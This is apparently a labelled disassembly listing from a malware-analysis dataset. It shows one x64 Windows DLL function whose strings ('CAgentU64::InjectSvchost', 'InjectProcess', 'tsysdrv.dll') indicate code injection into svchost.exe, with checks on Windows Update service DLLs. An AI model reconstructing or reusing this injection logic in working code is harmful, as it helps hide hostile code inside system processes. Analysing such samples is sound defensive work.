Function at 0x18001c7e0
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4b8]
sub rsp, 0x590
mov qword [rbp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x1800bd650]
xor rax, rsp
mov qword [rbp + 0x480], rax
call fcn.180010710
test eax, eax
jne 0x18001caf3
cmp dword [0x1800d6b50], eax
je 0x18001c851
lea r9, str.CAgentU64::InjectSvchost_1
lea r8, str.AgentU64
lea edx, [rax + 0xf]
lea rcx, [0x1800d6a98]
call fcn.1800157c0
xor r12d, r12d
mov r15d, r12d
lea rax, str.wuauserv.dll
mov qword [rbp + 0x30], rax
lea rax, str.wuaueng.dll
mov qword [rbp + 0x38], rax
lea rbx, vtable.CTConfig.0
mov qword [rsp + 0x50], rbx
mov rax, qword [0x18007db48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x70]
call fcn.180021d20
nop
mov dword [rbp - 0x78], r12d
call fcn.180013c90
nop
mov qword [rbp - 0x70], rbx
mov rax, qword [0x18007db48]
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x50]
call fcn.180021d20
nop
mov dword [rbp - 0x38], r12d
call fcn.180013c90
nop
lea rdx, [0x180092d10]
lea rcx, [rsp + 0x40]
call fcn.180022100
mov rbx, rax
mov qword [rsp + 0x48], rax
mov dword [rbp - 0x78], r12d
lea rcx, [rsp + 0x58]
call fcn.180022270
lea rcx, [rsp + 0x60]
call fcn.180022270
lea rcx, [rsp + 0x68]
call fcn.180022270
or r8d, 0xffffffff
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.180022720
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.180020ef0
lea rcx, [rsp + 0x50]
call fcn.180013fc0
nop
mov rcx, rbx
call fcn.180020de0
lea rdx, [0x180092d58]
lea rcx, [rsp + 0x48]
call fcn.180022100
mov rbx, rax
mov qword [rsp + 0x40], rax
mov dword [rbp - 0x38], r12d
lea rcx, [rbp - 0x68]
call fcn.180022270
lea rcx, [rbp - 0x60]
call fcn.180022270
lea rcx, [rbp - 0x58]
call fcn.180022270
or r8d, 0xffffffff
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.180022720
mov rdx, rbx
lea rcx, [rbp - 0x68]
call fcn.180020ef0
lea rcx, [rbp - 0x70]
call fcn.180013fc0
nop
mov rcx, rbx
call fcn.180020de0
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x48]
call fcn.180022100
mov rsi, rax
mov qword [rsp + 0x40], rax
mov r13d, r12d
mov edi, r12d
lea r14d, [r12 + 1]
cmp dword [rsp + 0x78], r12d
jle 0x18001c9f6
mov ebx, r12d
nop dword [rax]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rbx + rcx]
mov rcx, qword [rsi]
call fcn.180023520
test eax, eax
jne 0x18001c9f3
inc edi
add rbx, 8
cmp edi, dword [rsp + 0x78]
jl 0x18001c9d0
jmp 0x18001c9f6
mov r13d, r14d
mov rcx, rsi
call fcn.180020de0
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x48]
call fcn.180022100
mov rsi, rax
mov qword [rsp + 0x40], rax
xor edi, edi
mov r12d, edi
mov ebx, edi
cmp dword [rbp - 0x48], ebx
jle 0x18001ca56
nop word [rax + rax]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rdi + rcx]
mov rcx, qword [rsi]
call fcn.180023520
test eax, eax
jne 0x18001ca51
inc ebx
add rdi, 8
cmp ebx, dword [rbp - 0x48]
jl 0x18001ca30
jmp 0x18001ca54
mov r12d, r14d
xor edi, edi
mov rcx, rsi
call fcn.180020de0
or r12d, r13d
je 0x18001cafa
cmp dword [0x1800d6b50], 0
je 0x18001ca90
lea r9, str.InjectProc_Svhost_3
lea r8, str.Inject
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.1800157c0
nop
lea rbx, vtable.CTConfig.0
mov qword [rbp - 0x70], rbx
lea rcx, [rbp - 0x50]
call fcn.1800226f0
nop
lea rcx, [rbp - 0x58]
call fcn.180020de0
nop
lea rcx, [rbp - 0x60]
call fcn.180020de0
nop
lea rcx, [rbp - 0x68]
call fcn.180020de0
nop
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x70]
call fcn.1800226f0
nop
lea rcx, [rsp + 0x68]
call fcn.180020de0
nop
lea rcx, [rsp + 0x60]
call fcn.180020de0
nop
lea rcx, [rsp + 0x58]
call fcn.180020de0
xor eax, eax
jmp 0x18001cfc2
call fcn.180046220
test eax, eax
jne 0x18001cb0f
lea rcx, str.tsysdrv.dll
call fcn.180046a40
lea rcx, [rbp - 0x30]
call fcn.180021d20
nop
xor r8d, r8d
lea rdx, str.svchost.exe
lea rcx, [rbp - 0x30]
call fcn.1800288e0
mov r12d, edi
lea r13, vtable.CTConfig.0
mov qword [rbp - 0x10], r13
mov rax, qword [0x18007db48]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rbp + 8], rax
lea rcx, [rbp + 0x10]
call fcn.180021d20
nop
mov dword [rbp + 0x28], edi
call fcn.180013c90
nop
lea rdx, [0x180092d90]
lea rcx, [rsp + 0x48]
call fcn.180022100
mov rbx, rax
mov qword [rsp + 0x40], rax
mov dword [rbp + 0x28], edi
lea rcx, [rbp - 8]
call fcn.180022270
lea rcx, [rbp]
call fcn.180022270
lea rcx, [rbp + 8]
call fcn.180022270
or r8d, 0xffffffff
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.180022720
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.180020ef0
lea rcx, [rbp - 0x10]
call fcn.180013fc0
nop
mov rcx, rbx
call fcn.180020de0
cmp dword [rbp + 0x28], 0xf0000001
jne 0x18001cbf9
mov dword [rsp + 0x40], edi
cmp dword [rbp + 0x18], 0
jle 0x18001cbf4
mov rax, qword [rbp + 0x10]
lea r8, [rsp + 0x40]
lea rdx, [0x18009b1f4]
mov rcx, qword [rax]
call fcn.1800309c8
mov r12d, dword [rsp + 0x40]
test r12d, r12d
jne 0x18001cc0b
call fcn.180011520
test eax, eax
mov esi, 1
cmovne r12d, esi
jmp 0x18001cc10
mov esi, 1
cmp dword [0x1800d6b50], 0
je 0x18001cc3e
mov dword [rsp + 0x20], r12d
lea r9, str.CAgentU64::InjectSvchost_2_Injecttype__lu_
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.1800157c0
nop
mov qword [rbp - 0x10], r13
lea rcx, [rbp + 0x10]
call fcn.1800226f0
nop
lea rcx, [rbp + 8]
call fcn.180020de0
nop
lea rcx, [rbp]
call fcn.180020de0
nop
lea rcx, [rbp - 8]
call fcn.180020de0
mov r14d, edi
cmp dword [rbp - 0x28], 0
jle 0x18001cf59
mov r13, rdi
nop dword [rax]
lea rcx, [rbp + 0x40]
call fcn.180021d20
nop
mov rax, qword [rbp - 0x30]
lea rdx, [rbp + 0x40]
mov ecx, dword [r13 + rax]
call fcn.180028930
test eax, eax
je 0x18001cd78
mov ebx, edi
nop word [rax + rax]
mov r8d, 1
mov rdx, qword [rbp + rdi*8 + 0x30]
lea rcx, [rbp + 0x40]
call fcn.1800237a0
cmp eax, 0xffffffff
jg 0x18001ccd5
inc ebx
inc rdi
cmp ebx, 2
jb 0x18001ccb0
jmp 0x18001cd20
cmp dword [0x1800d6b50], 0
je 0x18001cd20
mov rdx, qword [rbp + rdi*8 + 0x30]
lea rcx, [rsp + 0x40]
call fcn.180022100
nop
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
lea r9, str.CAgentU64::InjectSvchost_err_11___s_
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.1800157c0
nop
lea rcx, [rsp + 0x40]
call fcn.180020de0
cmp ebx, 2
jne 0x18001cd2b
xor edi, edi
mov esi, edi
jmp 0x18001cda0
mov r8d, 1
lea rdx, [0x180093540]
lea rcx, [rbp + 0x40]
call fcn.1800237a0
cmp eax, 0xffffffff
jle 0x18001cd4c
xor edi, edi
mov esi, edi
jmp 0x18001cda0
cmp dword [0x1800d6b50], 0
je 0x18001cdd4
lea r9, str.CAgentU64::InjectSvchost_err_1
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.1800157c0
xor edi, edi
jmp 0x18001cda0
cmp dword [0x1800d6b50], 0
je 0x18001cdd4
lea r9, str.CAgentU64::InjectSvchost_err_2
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.1800157c0
cmp dword [0x1800d6b50], 0
je 0x18001cdcc
mov dword [rsp + 0x20], esi
lea r9, str.CAgentU64::InjectSvchost_3___d_
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.1800157c0
test esi, esi
je 0x18001cf33
xor edi, edi
lea esi, [rdi + 1]
test r12d, r12d
jne 0x18001cf38
mov ecx, dword [0x1800d14c0]
movzx eax, cl
and al, sil
mov ebx, edi
cmp al, sil
cmove ebx, esi
cmp dword [0x1800d6b50], edi
je 0x18001ce38
lea rax, str.____
test ebx, ebx
lea rdx, [0x18009b210]
cmovne rax, rdx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
lea r9, str.CTIjtNecessityMin::IsFntNeed___s____08x_
lea r8, str.TIjtNecessity
lea edx, [rdi + 0xf]
lea rcx, [0x1800d6a98]
call fcn.1800157c0
test ebx, ebx
je 0x18001cf38
call fcn.18000c9f0
mov ecx, edi
test eax, eax
sete cl
test ecx, ecx
je 0x18001cf38
mov word [rbp + 0x270], di
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x272]
call fcn.180031f40
mov word [rbp + 0x60], di
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x62]
call fcn.180031f40
mov edx, 0x104
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r9, [0x180093540]
lea r8, [rbp + 0x60]
lea rdx, [0x180092920]
lea rcx, [rbp + 0x270]
call fcn.180030de4
mov r11, qword [rbp - 0x30]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x270]
mov edx, dword [r13 + r11]
mov ecx, esi
call fcn.180047390
test eax, eax
cmove r15d, esi
cmp dword [0x1800d6b50], edi
je 0x18001cf38
lea rcx, [0x1800962b0]
test r15d, r15d
lea rdx, [0x1800962a0]
cmovne rcx, rdx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x30]
mov ecx, dword [r13 + rax]
mov dword [rsp + 0x20], ecx
lea r9, str.CAgentU64::InjectProcess_4___d____d____s_
lea r8, str.AgentU64
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [0x1800d6a98]
call fcn.1800157c0
jmp 0x18001cf38
mov esi, 1
lea rcx, [rbp + 0x40]
call fcn.1800226f0
inc r14d
add r13, 4
cmp r14d, dword [rbp - 0x28]
jl 0x18001cc80
lea r13, vtable.CTConfig.0
lea rcx, [rbp - 0x30]
call fcn.180023ab0
nop
mov qword [rbp - 0x70], r13
lea rcx, [rbp - 0x50]
call fcn.1800226f0
nop
lea rcx, [rbp - 0x58]
call fcn.180020de0
nop
lea rcx, [rbp - 0x60]
call fcn.180020de0
nop
lea rcx, [rbp - 0x68]
call fcn.180020de0
nop
mov qword [rsp + 0x50], r13
lea rcx, [rsp + 0x70]
call fcn.1800226f0
nop
lea rcx, [rsp + 0x68]
call fcn.180020de0
nop
lea rcx, [rsp + 0x60]
call fcn.180020de0
nop
lea rcx, [rsp + 0x58]
call fcn.180020de0
mov eax, r15d
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.1800300f0
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret